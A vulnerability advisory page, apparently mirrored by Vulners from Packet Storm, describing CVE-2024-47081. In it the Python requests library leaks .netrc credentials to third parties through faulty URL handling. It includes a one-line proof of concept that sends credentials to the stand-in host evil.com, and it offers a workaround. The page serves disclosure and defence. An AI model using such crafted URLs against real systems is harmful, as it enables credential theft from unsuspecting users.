Lucene search
K

📄 PSF Request Library Credential Leak

🗓️ 03 Jun 2025 00:00:00Reported by Juho ForsénType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 248 Views

PSF requests library leaks .netrc credentials to third parties due to faulty URL handling.

Related
Code
The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions.
    
    Issuing the following API call triggers the vulnerability:
    
      requests.get('http://example.com:@evil.com/')
    
    Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.
    
    The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245
    
    The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue.
    
    As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.15.3
EPSS0.00208
SSVC
248